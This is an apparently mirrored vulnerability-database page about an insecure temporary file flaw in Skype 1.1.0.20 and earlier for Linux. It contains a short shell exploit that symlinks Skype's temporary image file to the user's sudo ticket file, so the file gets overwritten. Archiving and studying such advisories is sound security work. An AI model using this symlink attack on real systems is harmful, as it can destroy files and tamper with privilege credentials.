Skype Technologies Skype 0.92/1.0/1.1 – Insecure Temporary File Creation

Skype Technologies Skype 0.92/1.0/1.1 – Insecure Temporary File Creation

漏洞ID 1055261 漏洞类型
发布时间 2005-07-18 更新时间 2005-07-18
图片[1]-Skype Technologies Skype 0.92/1.0/1.1 – Insecure Temporary File Creation-安全小百科CVE编号 N/A
图片[2]-Skype Technologies Skype 0.92/1.0/1.1 – Insecure Temporary File Creation-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/25993
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/14293/info

Skype is affected by an insecure temporary file creation vulnerability.

Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well.

Skype 1.1.0.20 and prior versions are affected. 

#!/bin/sh

#get current terminal number from /dev/pts/xx
terminal_number=`tty | cut -f4 -d '/'`

user_ticket=$USER/$terminal_number:root
ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg

相关推荐: eMule AttachToAlreadyKnown Double Free Vulnerability

eMule AttachToAlreadyKnown Double Free Vulnerability 漏洞ID 1099662 漏洞类型 Design Error 发布时间 2003-08-17 更新时间 2003-08-17 CVE编号 N/A CNNV…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享